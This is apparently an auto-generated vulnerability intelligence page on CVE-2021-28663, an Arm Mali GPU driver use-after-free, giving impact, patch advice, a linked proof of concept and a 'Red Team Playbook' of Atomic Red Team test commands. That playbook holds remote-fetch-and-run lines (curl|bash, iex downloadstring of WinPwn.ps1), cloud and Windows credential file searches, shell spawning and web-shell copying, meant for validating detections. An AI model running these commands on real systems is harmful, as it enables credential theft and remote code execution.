CVE-2021-28663
Overview
This vulnerability is a use-after-free condition in the Arm Mali GPU kernel driver caused by improper handling of GPU memory operations. The flaw arises when the driver fails to correctly manage references to GPU memory objects during execution, leading to dangling pointers. Affected components include the Bifrost, Valhall, and Midgard GPU kernel driver architectures within specific version ranges prior to r29p0.
Vulnerability Description
The Arm Mali GPU kernel driver allows privilege escalation or information disclosure because GPU memory operations are mishandled, leading to a use-after-free. This affects Bifrost r0p0 through r28p0 before r29p0, Valhall r19p0 through r28p0 before r29p0, and Midgard r4p0 through r30p0.
Impact
An attacker with low-level access to the system and GPU driver interface can exploit this flaw to escalate privileges to kernel level or disclose sensitive information residing in GPU memory. This enables unauthorized access to protected system resources, potentially leading to full system compromise or data exfiltration. The attack requires only a low-privileged local account and no user interaction, making it a critical escalation vector in multi-user environments or shared systems.
Solution
Arm has released security updates addressing this vulnerability in Mali GPU kernel drivers starting from version r29p0. Users should apply the patches available via the Arm Security Updates portal at https://developer.arm.com/support/arm-security-updates/mali-gpu-kernel-driver. The advisory provides detailed instructions for upgrading affected Bifrost, Valhall, and Midgard GPU kernel driver versions. No specific workarounds are documented; timely application of the official patches is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Arm Mali GPU kernel driver arises from improper handling of GPU memory operations, specifically leading to a use-after-free condition. This flaw primarily affects several versions of the Bifrost, Valhall, and Midgard GPU architectures. In a use-after-free scenario, a program continues to use a pointer after the memory it points to has been freed, which can lead to unpredictable behavior, including the potential execution of arbitrary code. The mishandling of memory operations in the GPU driver allows attackers to escalate privileges or disclose sensitive information, creating a significant security risk.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with local access to the system could leverage specially crafted GPU commands to manipulate memory operations. This could be done by executing a malicious application that interacts with the GPU, thereby triggering the use-after-free condition. Once exploited, the attacker could gain elevated privileges, allowing them to execute arbitrary code in the context of the kernel, which could lead to further system compromise. Additionally, if the attacker can extract sensitive information from the GPU memory, this could lead to data breaches or the exposure of confidential information.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on systems utilizing the affected GPU drivers. The high CVSS score of 8.8 indicates a critical risk level, suggesting that successful exploitation could lead to severe consequences, including unauthorized access to sensitive data and the potential for complete system control. For businesses, this translates into significant operational risks, including financial loss, reputational damage, and potential legal ramifications stemming from data breaches. Furthermore, the presence of such vulnerabilities in widely used GPU architectures could have a cascading effect on numerous applications and services that depend on these drivers.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the GPU drivers to the latest versions is crucial, as newer releases often contain patches for known vulnerabilities. Additionally, employing robust monitoring solutions can help detect unusual behavior indicative of exploitation attempts. Security teams should also conduct thorough code reviews and vulnerability assessments of applications that interact with the GPU to identify potential weaknesses. Furthermore, implementing strict access controls and limiting user privileges can reduce the attack surface, making it more challenging for an attacker to exploit the vulnerability.
In conclusion, the vulnerability in the Arm Mali GPU kernel driver presents a significant threat due to its potential for privilege escalation and information disclosure. The exploitation scenarios highlight the ease with which an attacker could manipulate GPU memory operations, leading to severe consequences for affected systems. Organizations must prioritize detection and mitigation strategies to safeguard their assets and maintain the integrity of their operations in the face of such vulnerabilities. By staying informed and proactive, businesses can better protect themselves against the evolving landscape of cybersecurity threats.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-28663, rising by over one-third to a current level that places it near the top decile of predicted exploit likelihood. This upward trend, coupled with a steady week-over-week increase, signals growing interest or capability among threat actors to leverage this vulnerability, despite the absence of confirmed ransomware group involvement to date. Additionally, the emergence of a publicly available proof-of-concept exploit hosted on a prominent code repository has likely contributed to this heightened risk profile by lowering the technical barrier for exploitation. For defenders, this escalation underscores the need for heightened vigilance and prioritization in monitoring for exploitation attempts, as the vulnerability’s potential for privilege escalation remains a critical threat vector. While the rapid increase is not yet classified as exponential, the sustained growth in exploitability metrics warrants an elevated risk assessment, indicating that CVE-2021-28663 should be considered a more imminent threat in operational environments utilizing affected Arm Mali GPU drivers.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Arm | Bifrost Gpu Kernel Driver | All |
cpe:2.3:a:arm:bifrost_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
|
|
Arm | Midgard Gpu Kernel Driver | All |
cpe:2.3:a:arm:midgard_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
|
|
Arm | Valhall Gpu Kernel Driver | All |
cpe:2.3:a:arm:valhall_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
lntrx/CVE-2021-28663
A basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)
|
lntrx | 129 | 28 | 2021-09-01 | View |
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-28663 |
| developer.arm.com |
GitHub CVE
|
https://developer.arm.com/support/arm-security-updates |
| developer.arm.com |
GitHub CVE
|
https://developer.arm.com/support/arm-security-updates/mali-gpu-kernel-driver |
| github.com |
GitHub CVE
|
https://github.com/lntrx/CVE-2021-28663 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-28663 |